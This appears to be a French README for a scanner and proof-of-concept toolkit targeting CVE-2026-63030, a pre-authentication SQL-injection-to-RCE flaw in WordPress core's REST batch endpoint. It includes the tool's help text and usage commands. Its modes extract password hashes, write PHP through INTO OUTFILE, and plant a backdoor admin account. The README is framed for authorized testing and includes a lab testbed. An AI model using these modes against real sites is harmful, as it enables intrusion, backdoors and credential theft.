
Un scanner et une boîte à outils de preuve de concept pour CVE-2026-63030 (wp2shell) - exécution de code à distance sans authentification préalable dans le noyau WordPress

--check-type time-based (sonde de temporisation SLEEP) et --check-type error-based (différentiel TRUE/FALSE/cassé). Toutes deux sûres pour des scans de vastes parcs.--i-have-authorization.CVE-2026-63030 (« wp2shell ») est une vulnérabilité d'exécution de code à distance pré-authentifiée dans le noyau WordPress. Un bug de confusion de route / désynchronisation d'index dans le point de terminaison batch de l'API REST (/batch/v1) permet à un attaquant non authentifié d'introduire subrepticement une valeur author_exclude non assainie dans WP_Query, entraînant une injection SQL. Lorsque l'utilisateur de la base de données dispose du privilège FILE, cela conduit à une exécution de code à distance via SELECT ... INTO OUTFILE. Aucun plugin n'est requis. Une installation WordPress standard est affectée.
WordPress a publié des correctifs dans les versions 6.9.5, 7.0.2 et 7.1-beta2. Appliquez les correctifs immédiatement. Si vous avez besoin d'aide pour scanner ou détecter cette vulnérabilité sur votre infrastructure, écrivez à [email protected]. Pour en savoir plus, consultez le blog de fullhunt.io.
| Branche | Vulnérable | Corrigé |
|---|---|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | Non affecté (point de terminaison batch absent) | — |
Nous avons étudié wp2shell (CVE-2026-63030) depuis sa divulgation publique et avons travaillé avec nos clients à la prévention de cette vulnérabilité. Nous publions en open source un outil ouvert de détection et de scan permettant de découvrir et de valider CVE-2026-63030. Il doit être utilisé par les équipes de sécurité pour scanner leur infrastructure à la recherche de wp2shell et pour vérifier que les règles WAF et les correctifs bloquent effectivement la chaîne d'attaque dans l'environnement de l'organisation.
wp2shell-scan.py est un scanner unique et unifié prenant en charge huit modes :
| Mode | Objectif | Autorisation |
|---|---|---|
check | Détection non destructive. Deux types de vérification : --check-type time-based (sonde de temporisation SLEEP) ou --check-type error-based (différentiel TRUE/FALSE/cassé). | Non |
probe-endpoints | Découvre quels points de terminaison REST transmettent l'injection à WP_Query. | Non |
probe | Comparaison côte à côte des réponses de N charges utiles SQL. | Non |
extract | Extraction par oracle booléen des métadonnées et des hachages de la base de données. | Oui |
blind | Extraction aveugle basée sur le timing (repli lorsque l'oracle booléen n'est pas fiable). | Oui |
exploit | Valide la chaîne complète SQLi → INTO OUTFILE → exécution PHP. | Oui |
adduser | Écrit une porte dérobée mu-plugin qui crée un compte administrateur ; en repli, extraction par oracle booléen des hachages. | Oui |
get-users | Extraction par oracle booléen de tous les identifiants de la table wp_users. | Oui |
Remarque : Les modes marqués « Oui » dans la colonne Autorisation nécessitent le drapeau
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
Un environnement WordPress 7.0.1 + MariaDB vulnérable par conception (avec le privilège FILE accordé) est inclus pour une reproduction hors ligne et sûre :
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt est la plateforme de gestion de la surface d'attaque de nouvelle génération. FullHunt permet aux entreprises de découvrir toutes leurs surfaces d'attaque, de les surveiller pour détecter les expositions et de les scanner en continu pour détecter les dernières vulnérabilités de sécurité. Le tout, sur une seule plateforme, et plus encore.
FullHunt fournit une plateforme d'entreprise pour les organisations. La plateforme d'entreprise FullHunt offre aux clients des capacités de scan et des fonctionnalités étendues. La plateforme d'entreprise FullHunt permet aux organisations de surveiller étroitement leur surface d'attaque externe et d'obtenir des alertes détaillées sur chaque changement qui se produit. Des organisations du monde entier utilisent la plateforme d'entreprise FullHunt pour résoudre leurs défis de sécurité continue et de sécurité de la surface d'attaque externe.
Ce projet est conçu uniquement à des fins éducatives et de tests éthiques. L'utilisation de wp2shell-scan pour attaquer des cibles sans consentement mutuel préalable est illégale. Il incombe à l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas tenus responsables de tout usage abusif ou dommage causé par ce programme.
Le projet est sous licence MIT.
Mazin Ahmed